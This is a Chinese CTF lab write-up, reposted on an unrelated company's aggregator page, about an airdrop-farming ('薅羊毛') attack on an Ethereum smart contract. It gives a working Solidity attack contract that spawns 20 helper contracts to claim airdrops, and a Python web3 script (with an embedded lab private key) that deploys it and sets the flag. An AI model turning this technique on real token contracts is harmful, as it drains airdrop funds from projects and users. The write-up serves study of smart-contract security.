上海古都建筑设计集团,上海办公室装修设计公司,上海装修公司高质量的内容分享社区,上海装修公司我们不是内容生产者,我们只是上海办公室装修设计公司内容的搬运工平台

某60区块链安全之薅羊毛攻击实战一学习记录

guduadmin02小时前

区块链安全

文章目录

  • 区块链安全
  • 薅羊毛攻击实战一
  • 实验目的
  • 实验环境
  • 实验工具
  • 实验原理
  • 实验内容
  • 薅羊毛攻击实战一 实验步骤
    • EXP利用

      薅羊毛攻击实战一

      实验目的

      学会使用python3的web3模块

      学会分析以太坊智能合约薅羊毛攻击漏洞

      找到合约漏洞进行分析并形成利用

      实验环境

      Ubuntu18.04操作机

      实验工具

      python3

      实验原理

      薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见,只要是有空投函数的合约都能够进行薅羊毛。

      实验内容

      合约中内置了空投函数和潜在的薅羊毛攻击问题,找到合约漏洞并形成利用,把合约中的flag变量设置为true即可

      使用python3的web3模块远程利用漏洞并获取flag

      实验地址为nc ip 10009

      薅羊毛攻击实战一 实验步骤

      获取合约地址和合约源代码

      nc ip 10009连接到题目,输入1,获取部署合约的game account及token

      某60区块链安全之薅羊毛攻击实战一学习记录,在这里插入图片描述,第1张

      打开http://ip,输入上述分配的game account,点击Request获取eth

      某60区块链安全之薅羊毛攻击实战一学习记录,在这里插入图片描述,第2张

      某60区块链安全之薅羊毛攻击实战一学习记录,在这里插入图片描述,第3张

      ctrl+shift+d

      退出

      nc ip 10009连接到题目,输入2,获取部署合约的地址及new token

      某60区块链安全之薅羊毛攻击实战一学习记录,在这里插入图片描述,第4张

      nc ip 10009连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码

      某60区块链安全之薅羊毛攻击实战一学习记录,在这里插入图片描述,第5张

      分析合约源代码漏洞

      题目要求将合约中的flag变量设置为true

      某60区块链安全之薅羊毛攻击实战一学习记录,在这里插入图片描述,第6张

      分析代码逻辑,需要满足balanceOf[msg.sender] >= 2000才能设置flag为true

      题目中有空投函数,每次空投可以使 balance 增加 100,并且也有转账函数,可以将 balance 转给其他用户

      那么我们可以使用薅羊毛的攻击方式,创建 20 个临时合约来调用空投函数,并转账给主合约来使得 balanceOf[msg.sender] >= 2000

      EXP利用

      编写攻击合约attack.sol,将下述ETH9地址替换成自己题目合约的地址,主要包括三个功能:middle_attack合约用于申领空投,并转账给主攻击合约attack;attack合约通过new函数不断申请创建middle_attack合约,直至满足balanceOf[attack] >= 2000;当balanceOf[attack] >= 2000时,调用attack合约的get_flag函数,在get_flag函数中调用题目合约的payforflag函数将flag设置为true

      pragma solidity ^0.4.23;
      contract attack{
          function attack_airdrop() public {
              for(uint i = 0; i < 20; i++){
                  new middle_attack(address(this));
              }
          }
          function get_flag() public {
              ETH9 target = ETH9(0x05653f1dE1512EFC31eb6dd835947AF697fA7be0);
              target.payforflag();
          }
      }
      contract middle_attack{
          constructor(address addr) public {
              ETH9 target = ETH9(0x05653f1dE1512EFC31eb6dd835947AF697fA7be0);
              target.gift();
              target.transfer(addr,100);
          }
      }
      

      编写python3自动化脚本,将上述攻击合约部署,然后按照上述步骤分别执行即可

      from web3 import Web3, HTTPProvider
      from solcx import compile_source,set_solc_version_pragma
      import time
      w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))
      contract_address = "0x05653f1dE1512EFC31eb6dd835947AF697fA7be0"
      private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
      public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"
      def generate_tx(chainID, to, data, value):
          txn = {
              'chainId': chainID,
              'from': Web3.toChecksumAddress(public),
              'to': to,
              'gasPrice': w3.eth.gasPrice,
              'gas': 3000000,
              'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
              'value': Web3.toWei(value, 'ether'),
              'data': data,
          }
          return txn
      def sign_and_send(txn):
          signed_txn = w3.eth.account.signTransaction(txn, private)
          txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
          txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
          print("txn_hash=", txn_hash)
          return txn_receipt
      set_solc_version_pragma('^0.4.23')
      with open('./attack.sol', 'r') as f:
          SRC_TEXT = f.read()
      compiled_sol = compile_source(SRC_TEXT)
      CONT_IF = compiled_sol[':attack']
      # deploy attack.sol
      txn = generate_tx(8888, '', CONT_IF['bin'], 0)
      txn_receipt = sign_and_send(txn)
      hack_address = txn_receipt['contractAddress']
      print('hack_address =',hack_address)
      # call attack_airdrop() in attack.sol
      data = Web3.keccak(text='attack_airdrop()').hex()[:10]
      txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
      txn_receipt = sign_and_send(txn)
      if(txn_receipt['status']==1):
          print("call attack_airdrop() success")
      time.sleep(5)
      # call get_flag() in attack.sol
      data = Web3.keccak(text='get_flag()').hex()[:10]
      txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
      txn_receipt = sign_and_send(txn)
      if(txn_receipt['status']==1):
          print("call get_flag() success")
      

      执行exp

      某60区块链安全之薅羊毛攻击实战一学习记录,在这里插入图片描述,第7张

      nc ip 10009连接到题目,输入3,输入之前的new token,获取flag

      某60区块链安全之薅羊毛攻击实战一学习记录,在这里插入图片描述,第8张

网友评论

搜索
最新文章
热门文章
热门标签